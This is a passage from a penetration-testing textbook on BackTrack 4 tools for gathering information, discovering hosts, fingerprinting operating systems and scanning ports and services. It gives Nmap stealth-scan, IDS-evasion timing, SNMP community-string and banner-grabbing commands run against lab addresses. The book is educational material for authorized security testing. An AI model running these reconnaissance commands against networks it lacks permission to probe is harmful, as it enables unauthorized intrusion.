domain. In this case, we will stick to using paterva.com as an example.
If you right-click on the domain name, you will see all of the transforms that can be
done to the domain name:
[ 99 ]
Information Gathering
• Document/Files
• DomainExpand
• GetDNSNames
• GetDNSNames (excluding NS/MX)
• GetEmailAddresses
• WhoisInfoForDomain
• All Transforms
[ 100 ]
Chapter 4
• 3 MX records
• 10 DNS names
• 1 Website address
• 5 NS records
[ 101 ]
Information Gathering
Dradis
Dradis is a web application that acts as a central repository for information to keep
track of what has been done and what still needs to be done. It is basically a kind of
collaboration tool that can help penetration testers in storing all of the information
found during the test when performing penetration testing engagements. At the
end of the penetration testing engagement, the penetration tester can create a report
along with all of the proof that has been collected by this tool.
To run Dradis, first start the Dradis Server by choosing the menu Dradis Server. Then
a new window will be opened with information on how to start the Dradis server.
You need to type the following command to start the Dradis server:
# ruby script/server
[ 102 ]
Chapter 4
Since the Dradis Client is a command line program, we will be using Firefox
web browser to access the Dradis Server. In the location bar, type https://
localhost:3004.
In the Add Security Exception window, please choose View and make sure that
the certificate belongs to the Dradis framework. If you have verified the certificate,
you can add the exception permanently by checking the Permanently store this
exception and clicking on Confirm Security Exception.
If this is your first time logging to the Dradis server, you will be prompted to set up a
password.
[ 103 ]
Information Gathering
After entering the password, you need to click on Initialize, and then you will see a
login screen.
[ 104 ]
Chapter 4
You can then add notes by selecting the Notes tab on the bottom-right panel. You
can also attach the Nmap or Nessus result by selecting the Attachments tab.
This is just one example of how you can utilize Dradis. You may want to create your
own template.
As an example to generate the report, click on the branch you want. In this case we
are using the branch 192.168.1.100. Then click on add note. You need to format the
note in a particular format. In the template provided by the default Dradis package
installed in BackTrack, you can define the following fields regarding security
vulnerabilities:
To save the notes you can click on the top level Category. After that you need to
configure the category of the note to WordExport ready:
To generate the report, choose export | Word export | Generate report from
the menu.
The following is the report as displayed in a word processor such as OpenOffice Writer:
[ 106 ]
Chapter 4
Besides using the existing report template, you can also create your own
report template as explained at http://dradisframework.org/
WordExport_templates.html. To exit from Dradis web framework,
you can click on logout at the top-right corner of the window. After that
you can shutdown the Dradis server by pressing the Ctrl+C key.
Summary
This chapter introduced you to the information gathering phase. It is usually the first
phase done during the penetration testing process. In this phase, we will collect as
much information as we can about the target organization.
We describe several tools included in BackTrack 4 that can be used for information
gathering. We start by describing a tool that can be used to gather metadata from
documents. Next, we describe how to use tools that collect DNS information. Later
on, we move to describe tools for collecting routing information and tools that utilize
search engines. Then we move to describe tool for all-in-one intelligence gathering.
In the final part of the chapter, we describe a tool that is very useful in documenting
all of the information that has been collected.
[ 107 ]
Target Discovery
This chapter will help you understand the process of discovering machines on the
target network using various tools from BackTrack. We will explain:
Introduction
After we collect information about our target network from third-party sources, such
as the search engines, we need to discover our target machines. The purpose of this
discovery process is:
• To find out which machine in the target network is available to us. If the
machine is not available, we can't continue the penetration testing process,
and we need to move on to the next machine.
• To find out the underlying operating system that is used by the target
machine.
The purposes mentioned above will help us during the vulnerabilities mapping process.
To help us in the target discovery process, we can utilize the tools provided in
BackTrack 4. Most of these tools are available in the Network Mapping menu with
the following sub-menus:
In this chapter, we will only describe several tools on each category. Those tools are
selected based on the functionality, popularity, and the tool development activity.
ping
The ping tool is the most famous tool to check whether a particular host is available.
The ping tool works by sending an ICMP (Internet Control Message Protocol)
ECHO REQUEST packet to the target host. If the target host is available and not
blocking a ping request it will reply with the ICMP ECHO REPLY packet.
Although you can't find ping in the BackTrack menu, you can open the console and
type the ping command with its options.
Ping has a lot of options, but here are the most common ones:
If you want to check whether the IP address 10.0.2.2 can be pinged, and also want to
send 1000 bytes and only want to send 2 packets, then following is the command to
be used:
#ping -c 2 -s 1000 10.0.2.2
[ 110 ]
Chapter 5
We notice that these two packets are able to reach the target host. Let's see the
network packets that are transmitted and received by our machine. We will be using
Wireshark, a network protocol analyzer, on our machine to capture these packets:
From the preceding screenshot, we can see that our host (10.0.2.15) sent two ICMP
ECHO_REQUEST packets to the destination host (10.0.2.2). Since the destination is alive
and allowing ICMP ECHO_REQUEST, it will send back the ICMP ECHO_REPLY packets to
our machine.
arping
The arping tool is used to ping a destination host in the Local Area Network (LAN)
using the ARP (Address Resolution Protocol) request. The arping is useful to test
whether a particular IP address is in use in the network.
The arping tool operates at OSI (Open System Interconnection) Layer 2 (Network
Layer) and it can only be used in local network. And ARP cannot be routed across
routers or gateways.
To start arping, go to Backtrack | Network Mapping | Identify Live Hosts |
Arping or use the console to execute the following command.
#arping
This will display all the arping options with their descriptions.
Let's see arping in action. We want to send three ARP probes to 10.0.2.2. Our IP
address is 10.0.2.15:
#arping -c 3 10.0.2.2
The following is the reply from the target whose IP address is 10.0.2.2:
ARPING 10.0.2.2 from 10.0.2.15 eth0
Unicast reply from 10.0.2.2 [52:54:00:12:35:02] 8.058ms
Unicast reply from 10.0.2.2 [52:54:00:12:35:02] 1.476ms
Unicast reply from 10.0.2.2 [52:54:00:12:35:02] 0.500ms
Sent 3 probes (1 broadcast(s))
Received 3 response(s)
[ 111 ]
Target Discovery
From the above result, we know that the IP address 10.0.2.2 exists and it has the
MAC address of 52:54:00:12:35:02.
Let's observe the network packets captured by Wireshark on our machine during the
arping process:
From the preceding screenshot, we can see that our network card (MAC address:
08:00:27:50:cc:a8) sends ARP requests to a broadcast MAC address (ff:ff:ff:ff:ff)
looking for IP address 10.0.2.2. If the IP 10.0.2.2 address exists, it will send an ARP
reply mentioning its MAC address (52:54:00:12:35:02) as can be seen from packet
number 2.
However, if the IP address is not available, there will be no ARP replies informing
the MAC address of IP 10.0.2.2, as can be seen from the following screenshot:
arping2
The arping2 tool can be used to send an ARP and/or ICMP request to the target
host. We can specify the target host using the IP address, hostname or MAC (Media
Access Control) address. When pinging the IP address, it will send an ARP request,
while pinging the MAC address, it will use ICMP ECHO request.
As of BackTrack 4, arping2 is not yet in the BackTrack menu, but you can start it by
executing the following commands:
#cd /pentest/misc/arping
#./arping2
This will display the arping2 usage information. To see its manual, you can execute
the following command:
#man -l arping.8
[ 112 ]
Chapter 5
fping
The fping tool is used to send a ping (ICMP ECHO) request to several hosts at once.
You can specify several targets on the command line or you can use a file containing
the hosts to be pinged.
In the default mode, fping works by monitoring the reply from the target host. If the
target host sends a reply, it will be noted and removed from the target list. If the host
doesn't respond during a certain threshold (time or retry limit), it will be marked as
unreachable. By default, fping will try to send three ICMP ECHO packets to each
target.
[ 113 ]
Target Discovery
• We can also generate the host list automatically and identify them :
#fping -g 192.168.1.1 192.168.1.5
• To change the number of retry attempts at pinging the target we can use the
following command:
#fping -r 1 -g 192.168.1.1 192.168.1.10
[ 114 ]
Chapter 5
192.168.1.2 is unreachable
...
192.168.1.9 is unreachable
genlist
The genlist tool can be used to get a list of hosts that respond to the ping probes.
To print live hosts on the network 192.168.1.0/24 we can use the following
command:
#genlist -s 192.168.1.\*
[ 115 ]
Target Discovery
192.168.1.102
192.168.1.103
192.168.1.104
192.168.1.107
192.168.1.110
192.168.1.112
192.168.1.115
192.168.1.254
hping2
The hping2 tool can be used to send custom packets and to display replies from the
target. It supports TCP, UDP, ICMP, and RAW-IP protocols.
[ 116 ]
Chapter 5
From the preceding screenshot, we can see that the default packet in hping2
has TCP protocol and the destination port is set by default to 0, and no flags
are set (see packet number 1 and 3). The target host is responded to by send-
ing packet number 2 and 4 with the RST (Reset) and ACK (Acknowledge)
flags set. This means that in the target host there is no network service listen-
ing on TCP port 0.
If there is a firewall blocking your ping attempt, you may want to experiment
with the use of TCP flags and change the destination port. For the first ping
attempt, you may want to use the SYN (Synchronize) flag and set the destina-
tion port to some common ports, such as 22, 25, 80, and 443.
• To send a regular ping packet, we use the following command:
#hping2 -c 1 -1 10.0.2.100
hping3
All of the features of hping2 can be found in hping3. You can also use the hping2
command line options in hping3, so I will not mention the command line again.
The biggest difference is in the hping3 Tcl scripting capabilities. You can use the
script interactively or you can use it as a script file.
[ 117 ]
Target Discovery
To access hping3 interactively, open up a console and type hping3. You will then see
a prompt where you can type your Tcl commands.
The preceding command can be input to the hping3 shell prompt as follows:
There are a lot of things that you can do with hping3, but in this chapter we'll only
discuss a small subset of its capabilities. You can learn more about hping3 from its
documentation site (http://wiki.hping.org).
lanmap
The lanmap tool works by passively listening for any activities on the network and
creating an image of all of the network components it can discover.
[ 118 ]
Chapter 5
Second, generate some network activities. One of the simple actions to generate
network activity is by doing ping command.
You can then check the generated image file. Following is the generated image
viewed using kview:
If you want to exit the lanmap, just press Ctrl+C to break the program.
nbtscan
The nbtscan tool can be used to scan IP addresses for the NetBIOS name
information. It will produce a report which contains the IP address, NetBIOS
computer name, service available, logged-in username, and MAC address of the
corresponding machines. This information will be useful in the next penetration
testing steps. The difference between Windows' nbtstat and nbtscan is that
nbtscan can operate on a range of IP addresses. You should be aware that using this
tool will generate a lot of traffic and it may be logged by the target machines.
To find out about the meaning of each service in the NetBIOS report, you
may want to consult Microsoft Knowledge Based on NetBIOS Suffixes
(16th Character of the NetBIOS Name) located at http://support.
microsoft.com/kb/163409.
[ 119 ]
Target Discovery
From the preceding result, we will be able to find out three NetBIOS names. They are
PC-001, PC-003, and SRV-001. Let's find out the service provided by those machines
by giving the following command:
#nbtscan -hv 192.168.1.1-254
[ 120 ]
Chapter 5
From the result above, we can see that there are two services available on PC-
001, Workstation, and File Server. Conversely, in PC-003 there are three services
available, Workstation, Messenger, and File Server. This information will help us in
the next penetration testing steps.
nping
The nping tool is the latest generation tool that allows users to generate network
packets of a wide range of protocols (TCP, UDP, ICMP, ARP). You can also
customize the fields in the protocol headers, such as source and destination port for
TCP and UDP. Nping can be used to detect active hosts just like the ping command,
and it can also be used for network stack stress tests, ARP poisoning, Denial of
Service, and other purposes.
At the time of this writing, there is no BackTrack menu yet for nping, so you need
to open up a console and type nping. This will display the usage and options
description.
Let's send one TCP packet (--tcp -c 1) to destination port 22 (-p 22) with SYN flag
set (--flags SYN) to IP address 10.0.2.100. The following is the command:
#nping -c 1 --tcp -p 22 --flags syn 10.0.2.100
From the preceding result we can see that the remote machine (10.0.2.100) has port
22 open, because when we send the SYN (S) packet, it replies with the SYN+ACK
(SA) packet. We are also able to send and receive the packets without any loss in
transmission.
[ 121 ]
Target Discovery
onesixtyone
The onesixtyone can be used as a Simple Network Monitoring Protocol (SNMP)
scanner to find out if the SNMP string exists on a device. The difference with other
SNMP scanners is that it sends all SNMP requests as fast as it can (10 milliseconds
apart). Then it waits for responses and logs them. If the device is available, then it
will send responses containing the SNMP string.
Let's try onesixtyone to find out the SNMP strings used by a device located at
192.168.1.1. The following is the appropriate command:
#onesixtyone 192.168.1.1
The following is the scanning result:
Scanning 1 hosts, 2 communities
192.168.1.1 [public] VPN Router
192.168.1.1 [private] VPN Router
OS fingerprinting
After we know that the target machine is live, we can then find out the operating
system used by the target machine. This method is commonly known as Operating
System (OS) fingerprinting. There are two methods for doing OS fingerprinting:
active and passive.
[ 122 ]
Chapter 5
In the active method, the tool sends network packets to the target machine and then
it determines the operating system of the target machine based on the analysis done
on the response it received. The advantage of this method is that the fingerprinting
process is fast. However, the disadvantage is that the target machine may notice our
attempt to get its operating system information.
To overcome the active method disadvantage, there exists a passive method for OS
fingerprinting. This method was pioneered by Michal Zalewsky when he released
a tool called p0f. The disadvantage of the passive method is that the process will be
slower compared to the active method.
BackTrack comes with several tools for doing OS fingerprinting. Those tools can be
accessed in the BackTrack | Network Mapping | OS-Fingerprinting menu
p0f
The p0f tool is a tool used to fingerprint an operating system passively. It can
identify an operating system on:
• Machines that connect to your box (SYN mode, this is the default mode)
• Machines you connect to (SYN+ACK mode)
• Machine you cannot connect to (RST+ mode)
• Machines whose communications you can observe
It works by analyzing the TCP packets sent during the network activities, such
as remote machines connecting to your machine (incoming connection) and you
connecting to a remote machine (outgoing connection). This process is completely
passive, so it will not generate any network traffic.
Let's use p0f in a very simple case. Just type the following command in your console:
#p0f -o p0f.log
[ 123 ]
Target Discovery
This will save the log information to the p0f.log file. It will then display the
following information:
p0f - passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <[email protected]>, W. Stearns <[email protected]>
p0f: listening (SYN) on 'eth0', 262 sigs (14 generic, cksum 0F1F5CA2),
rule: 'all'.
Next you need to generate network activities involving the TCP connection, such as
browsing to the remote machine or letting the remote machine to connect to your
machine.
If p0f has successfully fingerprinted the remote machine operating system, you will
see the remote machine operating system in the log file (p0f.log). You can open that
file using kate text editor:
Based on the preceding result, we know that the remote machine is a Linux 2.6 machine.
This is correct fingerprinting, as the remote machine is installed with openSUSE 11.x.
xprobe2
Whereas p0f is a passive operating system (OS) fingerprinting tool, xprobe2 is an
active OS fingerprinting tool.
You need to run xprobe2 with root privileges as the xprobe2 uses a raw socket to
send the probes.
[ 124 ]
Chapter 5
For fingerprinting a remote machine, you can just call xprobe2 and give the remote
machine IP address or hostname as the argument:
#xprobe2 10.0.2.100
From the preceding result, we know that the xprobe2 guess is not entirely correct.
This can occur if the database of this tool has not been updated.
[ 125 ]
Target Discovery
Summary
In this chapter, we discussed the target discovery process. We started by discussing
the purpose of target discovery: identifying the target machine and finding out the
operating system used by the target machine. Then we continued with BackTrack
tools that can be used for identifying target machines. The tools discussed are ping,
arping, arping2, fping, genlist, hping2, hping3, lanmap, nbtscan, nping, and
onesixtyone.
At the end of this chapter you learned about the tools that can be used to do OS
fingerprinting—p0f and xprobe2.
[ 126 ]
Enumerating Target
Enumerating target is a process used to find and collect information on ports and
services available on the target environment. This process is usually done after we
have discovered the target environment by scanning it to obtain the list of live hosts.
Usually during the penetration testing task, this process is done at the same time as
the discovery process.
The goal of this process is to collect as much as information as possible about the
target environment network and system. We will then use this information to
identify vulnerabilities that are available.
Port scanning
Port scanning can be defined as a method to determine TCP and UDP ports that are
open on the target machines. An open port means that there is a network service
listening on the port. If a network service is vulnerable, then the attacker might be
able to use that information to speed up the vulnerability analysis process.
To be able to understand port scanning, let's discuss the protocol used first. Network
services usually use Transmission Control Protocol (TCP) or User Datagram Protocol
(UDP) for exchanging data.
Enumerating Target
A TCP segment consists of a header and a data section. The header contains 10
mandatory fields and an optional field.
• The Source Port and the Destination Port each have a length of 16 bits. The
source port is the port on the sending machine that transmits the packet,
while the destination port is the port on the target machine.
• The Sequence Number (32 bits) and Acknowledgment Number (32 bits)
allow TCP to track the packets to ensure that they arrive reliably and in order.
• HLen is the TCP header length (4 bits).
• Rsvd is reserved for future use. It is a 4 bit field and must be zero.
[ 128 ]
Chapter 6
• The Control Bits (control flags) contains 8 1-bit flags. In the original
specification (RFC 793), the TCP only has 6 flags:
°° SYN: Synchronizes the sequence numbers. This bit is used during
session establishment.
°° ACK: Indicates that the Acknowledgment field in the TCP header
is significant. If a packet contains this flag, it means that it is an
acknowledgement to the previous received packet.
°° RST: Resets the connection.
°° FIN: Indicates the sender has no more data to send. It is used to tear
down a connection gracefully.
°° PSH: Indicates that the buffered data should be pushed immediately
to the application rather than waiting for more data.
°° URG: Indicates that the Urgent Pointer field in the TCP header is
significant. The Urgent Pointer points to the important data sequence
number.
When performing a port scanning on the TCP port by using a SYN packet to
the target machine, an attacker might face the following behaviors:
• The target machine responds with the SYN-ACK packet. If we receive this
packet, we know that the port is open. This behavior is defined in the TCP
specification (RFC 793) which stated that the SYN packet must be responded
with the SYN-ACK packet if the port is open without considering the SYN
packet payload.
[ 129 ]
Enumerating Target
• The target machine sends back a packet with RST and ACK bit set. This
means that the port is closed.
• The target machine sends an ICMP message, such as, ICMP Port
Unreachable. This means that the port is not accessible for us, most likely
because it is blocked by the firewall.
• The target machine sends nothing back to us. It may indicate that there is no
network service listening on that port or that the firewall is blocking our SYN
packet silently.
During port scanning, we must notice the behaviors listed above. Unfortunately for
us, the UDP port scanning is quite different, as will be explained later on.
• Just like the TCP header, the UDP header also has the Source Port and the
Destination Port, each of which has 16 bits length. The source port is the port
on the sending machine that transmits the packet, while the destination port
is the port on the target machine.
• UDP Length is the length of the UDP header.
• Checksum (16 bits) is used for error checking of the UDP header and data.
Please notice that there is no Sequence and Acknowledgement Number and also the
Control Bits.
During a port scanning to the UDP port on the target machine, an attacker might face
the following behaviors:
• The target machine responds with a UDP packet. If we receive this packet,
we know that the port is open.
• The target machine sends an ICMP message, such as ICMP Port Unreachable.
It can be concluded that the port is closed. However, if the messages sent are
other ICMP Unreachable messages, it means that the port is filtered by the
firewall.
• The target machine sends nothing back to us. This may indicate the following:
°° The port is closed
[ 130 ]
Chapter 6
AutoScan
AutoScan is a graphical-based network scanning tool that can be used to find live
hosts on a network. It also can be used to find open ports and get information on
the type of operating system used by each host. AutoScan uses an agent for the GUI
to collect and fingerprint the targeted hosts and send the results to the GUI via an
internal TCP connection.
The advantages of using AutoScan are that it is very easy to use, it can scan several
networks simultaneously, and it gives light load to the network.
Once the loading process is over, you will see a Network Wizard to help you add a
network to the scan. Select Forward to continue to the next step.
The network creation window will be displayed. In this window a user can create a
new network or use an existing one by selecting Restore.
To create a new network, select the appropriate network from the Private subnet.
If there is no suitable network, just create one by clicking on the Add button and
configuring the network according to your environment.
Use the default SNMP community name public and select the Ip Dynamic option.
[ 131 ]
Enumerating Target
Then it will display the agent location. Just use the default option (localhost) because
we don't have any remote agents yet. However, if you already have an agent,
you can select the option of Connect to host and enter the IP address, Port, and
Password field. Click on Forward to continue to the next step.
Next, it will display the network interface to be used. Click on Forward to continue.
[ 132 ]
Chapter 6
Then the wizard will display a summary of the wizard configuration. After clicking
on the Forward button again to confirm, the scan process will begin.
The result of the scan will be displayed immediately after the scan is finished.
AutoScan will try to get the hostname and information on the operating system used
by each host.
To find out the open ports on the host, click on the host and select the Info tab on the
lower-right window. The result will be displayed on the upper-right window.
Host 10.0.2.2 only has one open port, that is port 25 (SMTP).
[ 133 ]
Enumerating Target
Netifera
Netifera is a network security tool and also a modular platform to develop network
security tools.
This will display the main Netifera window. Before you use Netifera, you need to
understand the following terms:
[ 134 ]
Chapter 6
Then right-click on the network block target and choose Discover TCP Service,
Discover UDP Services or click on the first icon to the left at the bottom, to scan for
common TCP and UDP services.
If you select Discover TCP Services, Netifera will later on display the list of ports to
be discovered. You can use the default setting or adjust it according to your needs. If
you're done with the ports list, click on Run to proceed.
The following screenshot is the result:
[ 135 ]
Enumerating Target
You can hover on the ports on the left side to get more information about the service.
If you select the Discover UDP Services, Netifera will display the ports list to discover
the delay, and the timeout. You can use the default setting again or adjust it according
to your need. Once you're done with the ports list, click on Run to proceed.
To quit Netifera, you can either choose the option File | Exit or click on the Close
button in the upper-right corner of Netifera's main window.
If you want to learn to develop a Netifera module, you can see The
Sniffing Module Tutorial located at: http://netifera.com/doc/
netifera_tutorial_sniffing_module_part1/.
Nmap
Nmap is very comprehensive, feature and fingeprints rich, and is a port scanner
widely used by all of the IT security community. It is written and maintained by
Fyodor. It is a must-have tool for a penetration tester because of its quality and
flexibility.
• Host discovery: Nmap can be used to find live hosts on the target systems.
By default, Nmap uses an ICMP echo request, TCP SYN packet to port 443,
TCP ACK packet to port 80, and an ICMP timestamp request to carry out the
host discovery.
• Service/version detection: After Nmap has discovered the ports, it can
further check the service protocol, the application name, the version number,
hostname, device type, and operating system.
• Operating system detection: Nmap sends a series of packets to the remote
host and examines the responses. Then it compares those responses with its
operating system fingerprint database and prints out the details if there is a
match. If it is not able to determine the operating system, it provides a URL
where you can submit the fingerprint if you know the operating system used
on the target system.
• Network traceroute: It is performed to determine the port and protocol most
likely to reach the target system. Nmap traceroute starts with a high value
of Time to Live (TTL) and decrements it until the TTL reaches zero. This
method will speed up the process to trace multiple hosts.
• Nmap Scripting Engine: With this feature Nmap can also be used to check,
for example, vulnerabilities in network services, and enumerate resources on
the target system.
[ 136 ]
Chapter 6
It is good practice to always update your Nmap by issuing the following command:
#apt-get install nmap
A user new to Nmap will find the available options quite overwhelming.
Fortunately, you only need to provide the target specification to get your job done.
#nmap 10.0.2.100
After describing the port states, we will describe several options commonly used
during penetration testing, and after that we will use those options in our practise.
[ 137 ]
Enumerating Target
For the IPv6 address, Nmap only supports the fully qualified IPv6 format and
hostname.
Besides getting the target specification from command-line, Nmap can also accept
target definition from a text file by using option -iL <inputfilename>. This option
is useful if we get the IP addresses from another program.
Make sure that the entries in that file use the Nmap supported target specification
format. Each entry must be separated by spaces, tabs, or a new line.
The IP address of 10.0.2.15 belongs to our machine, which launches Nmap. You need
to adjust it to your configuration.
Open up another console on the same machine and type the following command:
#nmap 10.0.2.0/24
[ 138 ]
Chapter 6
0x0000: 4500 002c 4280 0000 2806 37da 0a00 020f E..,B...
(.7.....
0x0010: 0a00 0264 aee6 1b5a e01c 8b46 0000 0000
...d...Z...F....
0x0020: 6002 0400 4610 0000 0204 05b4 `...F.......
This is the packet sent from my machine. Please notice the flag used, which
is Synchronize (SYN). This is the default flag used by Nmap if it is run by the
privileged user, such as "root" in Unix world.
Notice the flag sent—it is denoted by the character R which is a Reset (RST). It means
that the port 7002 is not open. We will find out in the Nmap report of this result.
We can see that by default the Nmap scanned 1000 ports on 256 IP addresses.
• TCP connect scan (-sT): This option will complete the three-way handshake
with each target port. If the connection succeeds, the port is considered open.
As a result of the need to do a three-way handshake for each port, this scan
type is slower, and it will be more likely to be logged by the target.
• SYN scan (-sS): This option is also known as "half-open" or "SYN stealth".
With this option Nmap sends a SYN packet and then waits for a response.
A SYN/ACK response means the port is open, while the RST response
means the port is closed. If there is no response or an ICMP unreachable
error message response, the port is considered to be filtered. This scan type
can be performed quickly, and because the three-way handshake is never
completed, it is non-obstrusive and stealthy.
• TCP NULL (-sN), FIN (-sF), XMAS (-sX) scan: The NULL scan doesn't set
any Control Bits. The FIN scan only sets the FIN flag bit, and the XMAS scan
sets the FIN, PSH, and URG flags. If an RST packet is received as a response,
the port is considered closed, while no response means that the port is open/
filtered.
• TCP Maimon scan (-sM): TCP Maimom scan was discovered by Uriel
Maimon. A scan of this type will send a packet with the FIN/ACK flag bit
set. BSD-derived systems will drop the packet if the port is open and it will
respond with an RST if the port is closed.
• TCP ACK scan (-sA): This scan type is used to determine whether a firewall
is stateful or not, and which ports are filtered. A network packet of this type
only sets the ACK bit.
Nmap also supports you in creating your own custom TCP scan by giving the option
–scanflags. The argument to that option can be numerical such as 9 for PSH and FIN,
or symbolic names. Just put together any combination of URG, ACK, PSH, RST, SYN,
FIN, ECE, CWR, ALL, NONE in any order for example --scanflags URGACKPSH will set
flag URG, ACK, and PSH.
The problem with the UDP scan is how to perform it quickly. A Linux kernel limits
the ICMP Port Unreachable message to one per second. Doing a UDP scanning for
65,536 ports will take more than 18 hours to complete.
[ 140 ]
Chapter 6
Let's use a null method to scan port 22,25,80,3306. The following is the command to
do this task:
#nmap -sN -p 22,25,80,3306 10.0.2.100
The following is the result:
Nmap scan report for 10.0.2.100
Host is up (0.00060s latency).
PORT STATE SERVICE
22/tcp open|filtered ssh
25/tcp open|filtered smtp
80/tcp open|filtered http
3306/tcp open|filtered mysql
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 17.94 seconds
[ 141 ]
Enumerating Target
The first packet is from our machine, and the second packet is from the remote
machine. In the first packet, the flag is set to null, and the remote machine responds
with reset. Nmap interprets this response as that the port 25 on the remote system is
in the open | filtered state.
• Interactive output: This is a default output format and the result is sent to the
standard output.
• Normal output (-oN filename): This format is similar to interactive output
but it doesn't include the runtime information and warnings.
• XML output (-oX filename): This format can be converted to HTML format,
or parsed by the Nmap graphical user interface, or imported to the database.
We suggest you use this output format as much as you can.
• Grepable output (-oG filename): This format is deprecated, but it is still
quite popular. Grepable output consists of comments (lines starting with
a pound (#)) and target lines. A target line includes a combination of six
labeled fields, separated by tabs and followed by a colon. The fields are Host,
Ports, Protocols, Ignored State, OS, Seq Index, IP ID, and Status.
[ 142 ]
Chapter 6
I find it easier to read the HTML file instead of the XML file, so I'll convert the XML
format to HTML. You can use xsltproc program to do the conversion. Here is the
command to convert XML to HTML:
#xsltproc 1002100.xml -o 1002100.html
• paranoid (0): In this timing mode, a packet is sent every 5 minutes. There are
no packets sent in parallel. This mode is useful to avoid IDS detection.
• sneaky (1): This mode sends a packet every 15 seconds and there are no
packets sent in parallel.
• polite (2): This mode sends a packet every 0.4 seconds and no parallel
transmission.
[ 143 ]
Enumerating Target
• Auth: The scripts in this category are used to find out authentication on the
target system, such as using the brute force technique.
• Default: These scripts are run using the -sC or -A options. A script will be
grouped to the default category if it fulfills the following requirements:
°° It must be fast
°° It needs to produce valuable and actionable information
°° Its output needs to be verbose and concise
°° It must be reliable
°° It should not be intrusive to the target system
°° It should divulge information to the third party
[ 144 ]
Chapter 6
There are several command-line arguments that can be used to call NSE:
-sC or --script=default
Perform scan using default scripts.
--script <filename> | <category> | <directories>
Perform scan using the script defined in filename, categories, or
directories.
--script-args <args>
Provides script argument.An example of these arguments are username or
password if you use the auth category.
[ 145 ]
Enumerating Target
I want to collect more information on the HTTP server, so I use several HTTP scripts
in NSE :
#nmap --script http-enum,http-headers,http-methods,http-php-version -p 80
10.0.2.100
By utilizing 4 NSE scripts related to HTTP, we gain more information regarding the
target system webserver:
[ 146 ]
Chapter 6
Unicornscan
Unicornscan is an information gathering and correlation engine tool. It is useful in
introducing stimulus and measuring the response from a TCP/IP device. It has the
following features:
The main differentiator between Unicornscan and other similar tools is its scalability.
In Unicornscan you can define how much packet per second you want to send. The
higher the packet per second (PPS), the faster the scan process, but it may cause
overload on the network, so please be careful in using this capability. The default
PPS is 300.
To carry out a UDP scan (-m U) for port 1-65535 on the network block 10.0.2.0/24,
display the result immediately, and be verbose (-Iv), the command is:
#unicornscan -m U -Iv 10.0.2.0/24:1-65535
Using the default PPS this scan will take more than 15 hours. Let's change the packet
sending rate to 100,000 (-r 100000):
#unicornscan -r 100000 -m U -Iv 10.0.2.0/24:1-65535
[ 147 ]
Enumerating Target
The scan is much faster after we change the packet sending rate.
Zenmap
Zenmap is the graphical interface of Nmap. The advantages of Zenmap compared to
Nmap are:
This will display the main Zenmap window. Zenmap comes with 11 profiles that can
be chosen. To find out which command options are used on each profile, just click on
Profile, and the command options will be displayed in the Command box.
[ 148 ]
Chapter 6
If the provided profiles are not suitable for our needs, we can create our own profile
by creating a new profile or editing the existing ones. These tasks can be found under
the Profile menu.
Select each tab (Profile, Scan, Ping, Scripting, Target, Source, Other, and Timing)
and configure it according to your needs. If you have finished configuring the profile,
save the profile by clicking on the Save Changes button.
[ 149 ]
Enumerating Target
In this exercise, let's scan host 10.0.2.1 until 10.0.2.254 using the Regular Scan profile.
[ 150 ]
Chapter 6
To save the Zenmap result, go to the Scan menu and choose Save Scan. Zenmap will
then ask you where to save the result. The default format is XML.
To find the differences between scans, first scan then save the result. Then make
changes to the scan targets. Next, do the second scan and save the result. Later on
compare the scan results by going to the Tools menu and select Compare Results.
[ 151 ]
Enumerating Target
The "-" character denotes that this line is removed on the B Scan, while the "+"
character means that this line is added on the B Scan.
We noticed that the MySQL port is not open anymore in the second scan and the
number of closed ports has increased to adjust with the closing of the MySQL port.
Service enumeration
Service enumeration is a method used to find out the service version that is available
on a particular port on the target system. This version information is important,
because with this information the penetration tester can search for security
vulnerabilities that exist for that software version.
Some system administrators often change the port number a service is listening
on. For example: SSH service is bound to port 22 (as a convention), but a system
administrator may change it to bound to port 2222. If the penetration tester only does
a port scan to the common port of SSH, it may not find that service. The penetration
tester will also have difficulties when dealing with proprietary application running
on non-standard ports. By using the service enumeration tool, these two problems
can be mitigated, so there is a chance that the service can be found, regardless of the
port it bounds to.
Amap
Amap is a tool that can be used to check the application that is running on a specific
port. Amap works by sending a trigger packet to the port and comparing the
response to its database; it will print out the match it finds.
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to analyze the application that runs on the target system port
22. We are going to use the -b and -q options to get the banner information without
reporting the closed or unidentified ports.
#amap -bq 10.0.2.100 22
[ 152 ]
Chapter 6
Using Amap, we can identify the application used on a specific port and also the
version information.
To identify more than one port, define the ports on the command-line separated
by a space.
#amap -bq 10.0.2.100 80 3306
Amap is able to identify the service that is running on port 3306, but it gives several
matches when identifying the service running on port 80.
Httprint
Httprint is an application that can be used to detect an HTTP server software and
version. It works by using statistical analysis combined with fuzzy logic techniques.
Httprint tests the HTTP server and compares the signature it receives with a set of
stored signatures, and assigns a confidence rating to each candidates signature. The
potential matches for the server are the signatures with the highest confidence rating.
Before using Httprint, please be aware that Httprint will only identify HTTP servers
that it knows about. When Httprint encounters HTTP servers that don't exist in
its signature database, it reports the server with the highest ranking based on the
similarities (in terms of behavior and characteristics). Also make sure that there is no
HTTP proxy between the testing machine and the target server.
Httprint comes with two modes of operations: command-line and Graphical User
Interface (GUI) modes.
[ 153 ]
Enumerating Target
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to fingerprint the web server on host 10.0.2.100. We are going
to use the (-h) and (-s) option to set the host IP address and the signatures file.
#./httprint -h 10.0.2.100 -s signatures.txt
Although Httprint is not able to find the perfect signature for the remote web server,
it is able to give a good guess of the remote server software.
[ 154 ]
Chapter 6
Beware that the GUI version is using Wine emulation, so it will be slow when run in
BackTrack compared to Windows.
Httsquash
Httpsquash is a tool to scan the HTTP server, grab banner, and retrieve data. It
supports IPv6, custom request types, and custom request URL.
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to fingerprint the web server on host 10.0.2.100. We are going
to use the (-r) option to set the IP address range.
#./httsquash -r 10.0.2.100
[ 155 ]
Enumerating Target
VPN enumeration
In this section, we will discuss discovering and testing Virtual Private Network
(VPN) systems.
Several years ago, when a branch office wanted to connect to the head-office, it
needed to set a dedicated network line between the branch and head office. The main
disadvantage of this method was the cost; a dedicated network line was expensive.
Fortunately, there is a solution for this problem—a VPN. A VPN allows a branch
office to connect to the head office using the public network (Internet). The cost of
